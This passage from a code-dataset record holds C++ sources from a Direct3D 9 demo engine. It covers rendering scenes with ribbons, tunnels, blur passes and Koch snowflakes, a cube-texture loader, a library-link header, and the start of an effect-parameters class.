50));\r\n\t\tvb_data[i*4] = VertexPosColor(v1, c);\r\n\t\tvb_data[i*4+1] = VertexPosColor(v2, c);\r\n\t\tvb_data[i*4+2] = VertexPosColor(v4, c);\r\n\t\tvb_data[i*4+3] = VertexPosColor(v3, c);\r\n\t}\r\n\tquads_vb->unlock();\r\n\r\n\tquads1_batch.effect_id = quads_effect->getId();\r\n\tquads1_batch.pass = 0;\r\n\tquads1_batch.technique = 0;\r\n\tquads1_batch.priority = 1005;\r\n\tquads1_batch.ib_id = quads_ib->getId();\r\n\tquads1_batch.vb_id = quads_vb->getId();\r\n\tquads1_batch.tri_count = n_quads * 2;\r\n\r\n\tquads2_batch.effect_id = quads_effect->getId();\r\n\tquads2_batch.pass = 0;\r\n\tquads2_batch.technique = 1;\r\n\tquads2_batch.priority = 1000;\r\n\tquads2_batch.ib_id = quads_ib->getId();\r\n\tquads2_batch.vb_id = quads_vb->getId();\r\n\tquads2_batch.tri_count = n_quads * 2;\r\n\r\n\t// Tunnel\r\n\ttunnel_ib = video_device->getGpuBufferManager()->createIndexBuffer(\"tunnel_ib\", true, tunnel_segments*6, false);\r\n\tlocked_ib = tunnel_ib->lock(false);\r\n\tib_data = reinterpret_cast<uint16*>(locked_ib.data);\r\n\t//float da = 2.0f * pi / float(tunnel_segments);\r\n\tfor(uint16 segment = 0; segment < tunnel_segments; ++segment)\r\n\t{\r\n\t\tib_data[segment*6] = segment*2;\r\n\t\tib_data[segment*6+1] = segment*2+1;\r\n\t\tib_data[segment*6+2] = segment*2+3;\r\n\t\tib_data[segment*6+3] = segment*2;\r\n\t\tib_data[segment*6+4] = segment*2+3;\r\n\t\tib_data[segment*6+5] = segment*2+2;\r\n\t}\r\n\ttunnel_ib->unlock();\r\n\r\n\ttunnel_vb = video_device->getGpuBufferManager()->createVertexBuffer(\"tunnel_vb\", VertexPosUV::getFormat(),\r\n\t\t(tunnel_segments+1) * 2, false);\r\n\tlocked_vb = tunnel_vb->lock(false);\r\n\tVertexPosUV* tvb_data = reinterpret_cast<VertexPosUV*>(locked_vb.data);\r\n\tfor(uint i = 0; i <= tunnel_segments; ++i) \r\n\t{\r\n\t\tfloat t = float(i) / float(tunnel_segments);\r\n\t\tfloat a = 2.0f * pi * t;\r\n\r\n\t\ttvb_data[i*2] = VertexPosUV(Vector3(0.0f, cos(a) * 10.0f, sin(a) * 10.0f), 0.0f, t);\r\n\t\ttvb_data[i*2+1] = VertexPosUV(Vector3(250.0f, cos(a) * 10.0f, sin(a) * 10.0f), 1.0f, t);\r\n\t}\r\n\ttunnel_vb->unlock();\r\n\r\n\ttunnel1_batch.effect_id = tunnel_effect->getId();\r\n\ttunnel1_batch.pass = 0;\r\n\ttunnel1_batch.technique = 0;\r\n\ttunnel1_batch.priority = 999;\r\n\ttunnel1_batch.ib_id = tunnel_ib->getId();\r\n\ttunnel1_batch.vb_id = tunnel_vb->getId();\r\n\ttunnel1_batch.tri_count = tunnel_segments * 2;\r\n\r\n\ttunnel2_batch.effect_id = tunnel_effect->getId();\r\n\ttunnel2_batch.pass = 0;\r\n\ttunnel2_batch.technique = 1;\r\n\ttunnel2_batch.priority = 998;\r\n\ttunnel2_batch.ib_id = tunnel_ib->getId();\r\n\ttunnel2_batch.vb_id = tunnel_vb->getId();\r\n\ttunnel2_batch.tri_count = tunnel_segments * 2;\r\n\r\n\twhile(text.size() < 2000)\r\n\t{\r\n\t\ttext += textgenWord() + \" \";\r\n\t}\r\n}\r\n\r\nvoid Ribbons::close() \r\n{\r\n}\r\n\r\nvoid Ribbons::update(float t)\r\n{\r\n\tfloat transformed_t = transformT(21.0f, 44.0f, t);\r\n\tVector3 tg = curve1(transformed_t) + curve2(transformed_t) + curve3(transformed_t);\r\n\tVector3 p = curve1(transformed_t-0.08f) + curve2(transformed_t-0.08f) + curve3(transformed_t-0.08f);\r\n\tp *= 0.333f; tg *= 0.333f;\r\n\tp.z -= 3.0f + sin(t)*2.0f;\r\n\r\n\tribbons_batch.tri_count = uint(float(tris_per_ribbon*3) * transformed_t); \r\n\tribbons_batch.tri_count = max(1, ribbons_batch.tri_count);\r\n\r\n\tcamera.setPosition(smoothstep(Vector3(transformed_t * 160.0f, 0.0f, 0.0f), p, transformT(25.5f, 32.0f, t)));\r\n\ttg -= p;\r\n\tcamera.setDirection(smoothstep(Vector3(1.0f, 0.0f, 0.0f), tg, transformT(25.5f, 32.0f, t)));\r\n\t//camera.setPosition(Vector3(0.0f, 0.0f, 0.0f));\r\n\t//camera.setDirection(Vector3(1.0f, 0.0f, 0.0f));\r\n}\r\n\r\nvoid Ribbons::render(float t)\r\n{\r\n\tstatic bool text_rendered = false;\r\n\tif(!text_rendered) \r\n\t{\r\n\t\t// Text\r\n\t\tvideo_device->setClearColor(Color(255, 255, 255, 0));\r\n\t\tvideo_device->beginScene(true, false, false, text_target);\r\n\t\tsprite_batch->setVirtualResolution(2048, 512);\r\n\t\tfont->drawToRect(RectF(0.0f, 0.0f, 2048.0f, 512.0f), text);\r\n\t\tsprite_batch->present();\r\n\t\trenderer->render();\r\n\t\tvideo_device->endScene();\r\n\t\ttext_rendered = true;\r\n\t}\r\n\r\n\tvideo_device->getRenderingParams().setCamera(camera);\r\n\tvideo_device->getRenderingParams().setPerBatch(Matrix::identity(), 0);\r\n\t\r\n\tribbons_effect->applyAutoParams();\r\n\tquads_effect->applyAutoParams();\r\n\ttunnel_effect->applyAutoParams();\r\n\r\n\t// Glow buffer\r\n\tvideo_device->setClearColor(Color(0, 0, 0));\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\trenderer->prepare(ribbons_batch);\r\n\trenderer->render(1010, 1010);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 1\r\n\tsprite_batch->setVirtualResolution(1024/4, 576/4);\r\n\tsprite_batch->setEffect(blured_sprite_effect);\r\n\tvideo_device->beginScene(true, false, false, offscreen_target2);\r\n\tsprite_batch->draw(offscreen_target1, 200, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(0);\r\n\trenderer->render(1200, 1200);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 2\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\tsprite_batch->draw(offscreen_target2, 300, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(1);\r\n\trenderer->render(1300, 1300);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 3\r\n\tvideo_device->beginScene(true, false, false, offscreen_target2);\r\n\tsprite_batch->draw(offscreen_target1, 400, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(0);\r\n\trenderer->render(1400, 1400);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 4\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\tsprite_batch->draw(offscreen_target2, 500, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(1);\r\n\trenderer->render(1500, 1500);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 5\r\n\tvideo_device->beginScene(true, false, false, offscreen_target2);\r\n\tsprite_batch->draw(offscreen_target1, 600, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(0);\r\n\trenderer->render(1600, 1600);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 6\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\tsprite_batch->draw(offscreen_target2, 700, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(1);\r\n\trenderer->render(1700, 1700);\r\n\tvideo_device->endScene();\r\n\t\r\n\t// Final output\r\n\tvideo_device->beginScene();\r\n\trenderer->prepare(quads1_batch);\r\n\trenderer->prepare(quads2_batch);\r\n\trenderer->prepare(tunnel1_batch);\r\n\trenderer->prepare(tunnel2_batch);\r\n\tsprite_batch->setVirtualResolution(1024, 576);\r\n\tsprite_batch->setEffect(default_sprite_effect);\r\n\tsprite_batch->draw(offscreen_target1, 9, RectF(), RectF(0.0f, 0.0f, 1024.0f, 576.0f),\r\n\t\tColor::smoothstep(Color(255, 255, 255, 128), Color(255, 255, 255, 255), transformT(43.0f, 44.0f, t)));\r\n\tsprite_batch->present(1);\r\n\tif(t > 42.0f)\r\n\t{\r\n\t\tstatic std::vector<Vector2> fullscr_rect;\r\n\t\tstatic bool rect_filled = false;\r\n\t\tif(!rect_filled)\r\n\t\t{\r\n\t\t\tfullscr_rect.push_back(Vector2(0.0f, 0.0f));\r\n\t\t\tfullscr_rect.push_back(Vector2(1024.0f, 0.0f));\r\n\t\t\tfullscr_rect.push_back(Vector2(1024.0f, 576.0f));\r\n\t\t\tfullscr_rect.push_back(Vector2(0.0f, 576.0f));\r\n\t\t\trect_filled = true;\r\n\t\t}\r\n\t\tvector_batch->drawPolygon(11, fullscr_rect, \r\n\t\t\tColor::smoothstep(Color(64, 64, 64, 0), Color(0, 0, 0, 255), transformT(42.0f, 44.0f, t)));\r\n\t\tvector_batch->present();\r\n\t}\r\n\trenderer->render(900, 1100);\r\n\tvideo_device->endScene();\r\n\trenderer->endFrame();\r\n}\r\n\r\nVector3 Ribbons::curve1(float t)\r\n{\r\n\tVector3 p;\r\n\r\n\tp.x = t * 200.0f;\r\n\tp.y = cos(t * 21.0f) * 2.0f;\r\n\tp.z = sin(t * 23.5f) * 2.0f;\r\n\r\n\tif(t > 0.88f) {\r\n\t\tp = smoothstep(p, Vector3(p.x, 0.0f, 0.0f), (t - 0.88f) / 0.08f);\r\n\t}\r\n\r\n\treturn p;\r\n}\r\n\r\nVector3 Ribbons::curve2(float t)\r\n{\r\n\tVector3 p;\r\n\r\n\tp.x = t * 210.0f;\r\n\tp.y = cos(t * 24.2f + pi * 2.0f/3.0f) * 2.0f;\r\n\tp.z = sin(t * 26.0f + pi * 2.0f/3.0f) * 2.0f;\r\n\r\n\tif(t > 0.88f) {\r\n\t\tp = smoothstep(p, Vector3(p.x, 0.0f, 0.0f), (t - 0.88f) / 0.08f);\r\n\t}\r\n\r\n\treturn p;\r\n}\r\n\r\nVector3 Ribbons::curve3(float t)\r\n{\r\n\tVector3 p;\r\n\r\n\tp.x = t * 190.0f;\r\n\tp.y = cos(-0.4f + t * 38.0f + pi * 4.0f/3.0f) * 2.0f;\r\n\tp.z = sin(-0.4f + t * 32.8f + pi * 4.0f/3.0f) * 2.0f;\r\n\r\n\tif(t > 0.88f) {\r\n\t\tp = smoothstep(p, Vector3(p.x, 0.0f, 0.0f), (t - 0.88f) / 0.08f);\r\n\t}\r\n\r\n\treturn p;\r\n}\r\n\r\nVector3 Ribbons::random_point_in_sphere()\r\n{\r\n\tVector3 point;\r\n\tdo\r\n\t{\r\n\t\tpoint = Vector3(prng.randFloat(-1.0f, 1.0f), prng.randFloat(-1.0f, 1.0f), prng.randFloat(-1.0f, 1.0f));\r\n\t} while(point.x*point.x + point.y*point.y + point.z*point.z > 1.0f);\t\r\n\treturn point;\r\n}" }, { "alpha_fraction": 0.5727716684341431, "alphanum_fraction": 0.6573877930641174, "avg_line_length": 33.6940803527832, "blob_id": "b377879e77b3dc5955ce17e9c1f2c1b2a08398b1", "content_id": "4a27390f3633715fea319773f6700c5f8cb5ea89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10849, "license_type": "no_license", "max_line_length": 140, "num_lines": 304, "path": "/apps/Celerity/Markov.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Markov.h\"\r\n\r\n#include \"Engine.h\"\r\n#include \"Filesystem.h\"\r\n#include \"Textgen.h\"\r\n\r\nconst float text_rt_aspect_ratio = 0.25f;\r\nconst int text_length = 200;\r\nconst int arc_points = 75;\r\nconst Color background = Color(6, 6, 6);\r\nconst Color arc_color = Color(84, 84, 118);\r\nconst Color rays_color = Color(28, 26, 32);\r\n\r\nMarkov::Markov(RendererPtr renderer, VectorBatchPtr vector_batch, SpriteBatchPtr sprite_batch, BitmapFontPtr font)\r\n: renderer(renderer), vector_batch(vector_batch), sprite_batch(sprite_batch), font(font), prng(56794)\r\n{\r\n}\r\n\r\nMarkov::~Markov()\r\n{\r\n}\r\n\r\nvoid Markov::init(boost::weak_ptr<Demo> owner)\r\n{\r\n\tthis->owner = owner;\r\n\r\n\tpattern1 = video_device->getTextureManager()->loadTexture2D(\"pattern1\", Filesystem::redirect(\"pattern1.png\"));\r\n\t\r\n\tvector_batch_effect = video_device->getEffectManager()->load(\"PatternVectorBatch\", Filesystem::redirect(\"PatternVectorBatch.fx\"));\r\n\tvector_batch_effect->setParamValue(vector_batch_effect->getParamBySemantic(\"PATTERN_TEXTURE\"), \r\n\t\tboost::shared_polymorphic_cast<BaseTexture>(pattern1));\r\n\tvector_batch->setEffect(vector_batch_effect);\r\n\r\n\tuint viewport_width, viewport_height;\r\n\tvideo_device->getViewport(viewport_width, viewport_height);\r\n\r\n\tblured_sprite_effect = \r\n\t\tvideo_device->getEffectManager()->load(\"BluredSpriteBatch\", Filesystem::redirect(\"BluredSpriteBatch.fx\"));\r\n\tblured_sprite_effect->setParamValue(blured_sprite_effect->getParamBySemantic(\"TEXTURE_SIZE\"),\r\n\t\tVector4(float(1024/4), float(576/4), 0.0f, 0.0f));\r\n\tdefault_sprite_effect = video_device->getEffectManager()->get(\"SpriteBatch\");\r\n\r\n\t\r\n\toffscreen_target1 = video_device->getTextureManager()->createRenderTarget(\"rt_glow0\", \r\n\t\t1024/4, 576/4, D3DFMT_A8R8G8B8);\r\n\toffscreen_target2 = video_device->getTextureManager()->createRenderTarget(\"rt_glow1\", \r\n\t\t1024/4, 576/4, D3DFMT_A8R8G8B8);\r\n\ttext_target = video_device->getTextureManager()->createRenderTarget(\"rt_markov_text\", \r\n\t\t viewport_height, uint(viewport_height * text_rt_aspect_ratio), D3DFMT_A8R8G8B8);\r\n\r\n\ttextgenReseed(787); // Run\r\n\twhile(text1.size() < text_length)\r\n\t{\r\n\t\ttext1 += textgenWord() + \" \";\r\n\t}\r\n\r\n\ttextgenReseed(3831); // live\r\n\twhile(text2.size() < text_length)\r\n\t{\r\n\t\ttext2 += textgenWord() + \" \";\r\n\t}\r\n\r\n\ttextgenReseed(5041); // Quick,\r\n\twhile(text3.size() < text_length)\r\n\t{\r\n\t\ttext3 += textgenWord() + \" \";\r\n\t}\r\n}\r\n\r\nvoid Markov::close()\r\n{\r\n}\r\n\r\nvoid Markov::update(float t)\r\n{\r\n}\r\n\r\nfloat beat1_factor(float t) {\r\n\twhile(t >= 0.0f) {\r\n\t\tt -= 0.535714f;\r\n\t}\r\n\treturn t*t;\r\n}\r\n\r\nvoid Markov::render(float t)\r\n{\r\n\t// Text\r\n\tvideo_device->setClearColor(Color(255, 255, 255, 0));\r\n\tvideo_device->beginScene(true, false, false, text_target);\r\n\tsprite_batch->setVirtualResolution(576, int(576 * text_rt_aspect_ratio));\r\n\tfont->draw(Vector2(1000.0f + -t * 100.0f, 0.0f), text1);\r\n\tfont->draw(Vector2(1600.0f + -t * 180.0f, 40.0f), text2);\r\n\tfont->draw(Vector2(1200.0f + -t * 140.0f, 80.0f), text3);\r\n\tsprite_batch->present();\r\n\trenderer->render();\r\n\tvideo_device->endScene();\r\n\r\n\t// Glow buffer\r\n\tvideo_device->setClearColor(background);\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\tsprite_batch->setVirtualResolution(1024, 576);\r\n\tVector2 center = smootherstep(Vector2(512.0f, 288.0f), \r\n\t\tVector2(60.0f + sin(t*3.0f)*4.0f, 120.0f + sin(t*2.0f + 5.0f)*3.0f), transformT(3.55f, 4.1f, t));\r\n\tfloat width = smoothstep(80.0f, 32.0f, transformT(0.0f, 0.15f, t));\r\n\tfloat beat = beat1_factor(t);\r\n\tfloat shift = 0.0f;\r\n\tif(t > 18.0f)\r\n\t\tshift = smoothstep(0.0f, -670.0f, transformT(18.0f, 20.0f, t));\r\n\tdrawArc(Vector2(center.x+shift, center.y), 300.0f - beat*12.5f, width, 270.0f, smoothstep(225.0f, t * 50.0f, transformT(1.57f, 1.77f, t)));\r\n\tdrawArc(Vector2(center.x+shift, center.y), 240.0f - beat*25.0f, width, 270.0f, smoothstep(225.0f, t * 60.0f, transformT(1.05f, 1.25f, t)));\r\n\tdrawArc(Vector2(center.x+shift, center.y), 180.0f - beat*50.0f, width, 270.0f, smoothstep(225.0f, -t * 30.0f, transformT(0.5f, 0.7f, t)));\r\n\tdrawArc(Vector2(center.x+shift, center.y), 360.0f - beat*6.25f, width, 270.0f, smoothstep(225.0f, t * 70.0f, transformT(2.1f, 2.3f, t)));\r\n\tdrawRays(Vector2(800.0f + sin(t+0.2f) + shift, 460.0f + sin(t*1.4f)*2.0f), t*10.0f, 5, t);\r\n\tdrawSnowflake(Vector2(300.0f + sin(t * 0.6f) * 300.f, 200.0f + cos(t * 0.5f) * 250.0f), 500.0f + cos(0.3f + t * 1.6f) * 100.0f,\r\n\t\tsin(t / 2.0f) + beat * 0.2f, t);\r\n\tvector_batch->present();\r\n\trenderer->render(1002, 1004);\r\n\tvideo_device->endScene();\r\n\r\n\t\r\n\t// Blur 1\r\n\tsprite_batch->setVirtualResolution(1024/4, 576/4);\r\n\tsprite_batch->setEffect(blured_sprite_effect);\r\n\tvideo_device->beginScene(true, false, false, offscreen_target2);\r\n\tsprite_batch->draw(offscreen_target1, 100, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(1);\r\n\trenderer->render(1100, 1100);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 2\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\tsprite_batch->draw(offscreen_target2, 200, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(0);\r\n\trenderer->render(1200, 1200);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 3\r\n\tvideo_device->beginScene(true, false, false, offscreen_target2);\r\n\tsprite_batch->draw(offscreen_target1, 300, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(1);\r\n\trenderer->render(1300, 1300);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 4\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\tsprite_batch->draw(offscreen_target2, 400, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(0);\r\n\trenderer->render(1400, 1400);\r\n\tvideo_device->endScene();\r\n\t\r\n\t// Blur 5\r\n\tvideo_device->beginScene(true, false, false, offscreen_target2);\r\n\tsprite_batch->draw(offscreen_target1, 500, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(1);\r\n\trenderer->render(1500, 1500);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 6\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\tsprite_batch->draw(offscreen_target2, 600, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(0);\r\n\trenderer->render(1600, 1600);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 7\r\n\tvideo_device->beginScene(true, false, false, offscreen_target2);\r\n\tsprite_batch->draw(offscreen_target1, 700, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(1);\r\n\trenderer->render(1700, 1700);\r\n\tvideo_device->endScene();\r\n\r\n\t// Blur 8\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\tsprite_batch->draw(offscreen_target2, 800, RectF(), Vector2(0.0f, 0.0f));\r\n\tsprite_batch->present(0);\r\n\trenderer->render(1800, 1800);\r\n\tvideo_device->endScene();\r\n\r\n\t// Normal scene\r\n\tvideo_device->setClearColor(Color(0, 0, 0));\r\n\tvideo_device->beginScene();\r\n\r\n\tsprite_batch->setVirtualResolution(1024, 576);\r\n\tsprite_batch->setEffect(default_sprite_effect);\r\n\tsprite_batch->draw(text_target, 6, RectF(),\r\n\t\tRectF(540.0f+shift, 0.0f, 576.0f * text_rt_aspect_ratio, 576.0f));\r\n\tsprite_batch->draw(text_target, 5, RectF(),\r\n\t\tRectF(500.0f+shift, -60.0f, (576.0f+160.0f) * text_rt_aspect_ratio, 576.0f + 120.0f), Color(196, 196, 196, 64));\r\n\tsprite_batch->present(2);\r\n\trenderer->render(1002, 1006);\r\n\r\n\t//sprite_batch->setEffect(default_sprite_effect);\r\n\t//sprite_batch->draw(offscreen_target1, 1, RectF(), RectF(-8.0f, -8.0f, 1032.0f, 584.0f),\r\n\t//\tColor::smoothstep(Color(255, 255, 255), Color(0, 0, 0), transformT(19.0f, 21.0f, t)));\r\n\tsprite_batch->draw(offscreen_target1, 1, RectF(), RectF(0.0f, 0.0f, 1024.0f, 576.0f),\r\n\t\tColor::smoothstep(Color(255, 255, 255), Color(0, 0, 0), transformT(19.0f, 21.0f, t)));\r\n\tsprite_batch->present(1);\r\n\trenderer->render(1001, 1001);\r\n\r\n\tvideo_device->endScene();\r\n\trenderer->endFrame();\r\n\r\n\tsprite_batch->setEffect(default_sprite_effect);\r\n}\r\n\r\nvoid Markov::drawArc(const Vector2& center, float radius, float thickness, float angle, float rotation, float wavyness)\r\n{\r\n\tstatic std::vector<Vector2> points;\r\n\tpoints.clear();\r\n\tpoints.reserve(arc_points);\r\n\r\n\tfloat offset1 = radius - thickness/2.0f;\r\n\tfloat offset2 = radius + thickness/2.0f;\r\n\r\n\tfor(uint i = 0; i < arc_points/2; ++i)\r\n\t{\r\n\t\tfloat t = float(i) / float(arc_points/2 - 1);\r\n\t\tfloat a = (rotation - angle/2.0f) + angle * t;\r\n\t\tfloat distance = offset2 + sin(t * pi * 8.0f) * wavyness;\r\n\t\tfloat dx = cos(radians(a)) * distance;\r\n\t\tfloat dy = sin(radians(a)) * distance;\r\n\t\tpoints.push_back(Vector2(center.x + dx, center.y + dy));\r\n\t}\r\n\tfor(uint i = 0; i < arc_points/2; ++i)\r\n\t{\r\n\t\tfloat t = float(arc_points/2 - 1 - i) / float(arc_points/2 - 1);\r\n\t\tfloat a = (rotation - angle/2.0f) + angle * t;\r\n\t\tfloat distance = offset1 + sin(t * pi * 8.0f) * wavyness;\r\n\t\tfloat dx = cos(radians(a)) * distance;\r\n\t\tfloat dy = sin(radians(a)) * distance;\r\n\t\tpoints.push_back(Vector2(center.x + dx, center.y + dy));\r\n\t}\r\n\r\n\tvector_batch->drawPolygon(4, points, arc_color);\r\n}\r\n\r\nvoid Markov::drawRays(const Vector2& center, float rotation, uint amount, float t)\r\n{\r\n\tassert(amount >= 3);\r\n\r\n\tfloat radius = 1000.0f;\r\n\tfloat angle = 180.0f / float(amount);\r\n\r\n\tfor(uint i = 0; i < amount; ++i)\r\n\t{\r\n\t\tfloat fi = float(i*2);\r\n\t\tfloat a1 = radians(rotation + angle * fi);\r\n\t\tfloat a2 = a1 + radians(angle);\r\n\t\tVector2 v1(center.x + cos(a1)*radius, center.y + sin(a1)*radius);\r\n\t\tVector2 v2(center.x + cos(a2)*radius, center.y + sin(a2)*radius);\r\n\t\tColor c = Color::smoothstep(Color(0, 0, 0, 0), rays_color, transformT(3.55f, 4.1f, t));\r\n\t\tif(t > 19.0f)\r\n\t\t\tc = Color::smoothstep(rays_color, Color(0, 0, 0, 0), transformT(19.0f, 21.0f, t));\r\n\t\tvector_batch->drawTriangle(3, center, v1, v2, c);\r\n\t}\r\n}\r\n\r\nvoid Markov::drawKoch(const Vector2& p1, const Vector2& p2, uint levels, Color c) \r\n{\r\n\tVector2 midpoint = (p1 + p2) / 2.0f;\r\n\tVector2 normal(p2.y - p1.y, p1.x - p2.x);\r\n\tnormal.normalize();\r\n\r\n\tVector2 dir = p2 - p1;\r\n\tfloat length = dir.length();\r\n\r\n\tVector2 new_point = midpoint + normal * sqrtf(dir.lengthSq() / 9.0f - dir.lengthSq() / 36.0f);\r\n\r\n\tvector_batch->drawTriangle(2, p1 + dir / 3.0f, new_point, p2 - dir / 3.0f, c);\r\n\r\n\tif(levels == 1)\r\n\t\treturn;\r\n\r\n\tdrawKoch(p1, p1 + dir / 3.0f, levels-1, c);\r\n\tdrawKoch(p1 + dir / 3.0f, new_point, levels-1, c);\r\n\tdrawKoch(new_point, p2 - dir / 3.0f, levels-1, c);\r\n\tdrawKoch(p2 - dir / 3.0f, p2, levels-1, c);\r\n}\r\n\r\nvoid Markov::drawSnowflake(const Vector2& center, float size, float angle, float t)\r\n{\r\n\tif(t < 8.0f)\r\n\t\treturn;\r\n\tif(t > 17.5f)\r\n\t\treturn;\r\n\r\n\tColor c;\r\n\tif(t <= 15.0f)\r\n\t\tc = Color::smoothstep(Color(32, 18, 16, 0), Color(32, 18, 14, 196), transformT(8.0f, 9.0f, t));\r\n\telse\r\n\t\tc = Color::smoothstep(Color(32, 18, 14, 196), Color(0, 0, 0, 0), transformT(15.0f, 17.5f, t));\r\n\r\n\tVector2 up(0.0f, size);\r\n\tVector2 p1 = center + up.getRotated(angle);\r\n\tVector2 p2 = center + up.getRotated(angle + 2.0f * pi / 3.0f);\r\n\tVector2 p3 = center + up.getRotated(angle + 4.0f * pi / 3.0f);\r\n\r\n\tvector_batch->drawTriangle(2, p1, p2, p3, c);\r\n\r\n\tdrawKoch(p1, p2, 4, c);\r\n\tdrawKoch(p2, p3, 4, c);\r\n\tdrawKoch(p3, p1, 4, c);\r\n}" }, { "alpha_fraction": 0.687450647354126, "alphanum_fraction": 0.7032359838485718, "avg_line_length": 26.155555725097656, "blob_id": "221d6e5db42ea6236f58fb314cbf428efd66a826", "content_id": "6ece87fc3017a1c379eb3cbabffb2996a49d1175", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1267, "license_type": "no_license", "max_line_length": 135, "num_lines": 45, "path": "/source/TextureCube.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"TextureCube.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"MemUtils.h\"\r\n#include \"ErrorHandlers.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nTextureCube::TextureCube(ResourceId id, D3DDevicePtr device, const std::string& name, const std::string& filename)\r\n: BaseTexture(id, device, name, D3DFMT_A8R8G8B8), filename(filename) // HACK: pass proper format\r\n{\r\n\tis_ready = false;\r\n\r\n\tIDirect3DCubeTexture9* temp_texture = static_cast<IDirect3DCubeTexture9*>(texture);\r\n\r\n\tLOG(FORMAT(\"Loading cube texture %s from %s\", % name % filename));\r\n\tE_E(D3DXCreateCubeTextureFromFileEx(device.get(), filename.c_str(), D3DX_DEFAULT, D3DX_DEFAULT, 0, D3DFMT_FROM_FILE, D3DPOOL_MANAGED, \r\n\t\tD3DX_DEFAULT, D3DX_DEFAULT, 0, NULL, NULL, &temp_texture ));\r\n\tE_E(temp_texture->GetLevelDesc(0, &description));\r\n\tformat = description.Format;\r\n\ttexture = temp_texture;\r\n\tis_ready = true;\r\n\tis_released = false;\r\n}\r\n\r\nTextureCube::~TextureCube()\r\n{\r\n\t// Releasing is handled by BaseTexture\r\n\tif(!is_released)\r\n\t\tLOG(FORMAT(\"Texture %s released\", % name));\r\n}\r\n\r\nvoid TextureCube::onDeviceLost()\r\n{\r\n\t// Do nothing, cube textures are always in managed pool\r\n}\r\n\r\nvoid TextureCube::onDeviceReset()\r\n{\r\n\t// Do nothing, cube textures are always in managed pool\r\n}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.6595174074172974, "alphanum_fraction": 0.6782841682434082, "avg_line_length": 20.058822631835938, "blob_id": "75ca15299af0358bbe571135ee5f373204f135da", "content_id": "1fd14735b071daa177667ce3bfb4689d8d4fbbab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 373, "license_type": "no_license", "max_line_length": 37, "num_lines": 17, "path": "/source/libraries.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef LIBRARIES_H\r\n#define LIBRARIES_H\r\n\r\n#ifdef _DEBUG\r\n#pragma comment(lib, \"Cvekasd.lib\")\r\n#pragma comment(lib, \"d3dx9d.lib\")\r\n#else\r\n#pragma comment(lib, \"Cvekas.lib\")\r\n#pragma comment(lib, \"d3dx9.lib\")\r\n#endif\r\n\r\n#pragma comment(lib, \"d3d9.lib\")\r\n//#pragma comment(lib, \"dinput8.lib\")\r\n//#pragma comment(lib, \"dxguid.lib\")\r\n#pragma comment(lib, \"bass.lib\")\r\n\r\n#endif" }, { "alpha_fraction": 0.6929271817207336, "alphanum_fraction": 0.7021166682243347, "avg_line_length": 27.002994537353516, "blob_id": "cbc17627a0a3875cf5ab7ec5e8fd464d58efcf5d", "content_id": "4ff88489e27f711b2caf566466f0ca635f0d4362", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9685, "license_type": "no_license", "max_line_length": 96, "num_lines": 334, "path": "/source/EffectParams.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"EffectParams.h\"\r\n\r\n#include \"Exception.h\"\r\n#include \"Effect.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nEffectParams::EffectParams(Effect* owner)\r\n\t: owner(owner)\r\n{\r\n\tassert(owner);\r\n}\r\n\r\nEffectParams::~EffectParams()\r\n{\r\n}\r\n\r\n// Static, name indexing:\r\n\r\nvoid EffectParams::add(const std::string& name, float value)\r\n{\r\n\tParam<DWordValue> param = constructParam<DWordValue>(name);\r\n\tparam.value.float_val = value;\r\n\tdword_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(const std::string& name, int value)\r\n{\r\n\tParam<DWordValue> param = constructParam<DWordValue>(name);\r\n\tparam.value.int_val = value;\r\n\tdword_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(const std::string& name, bool 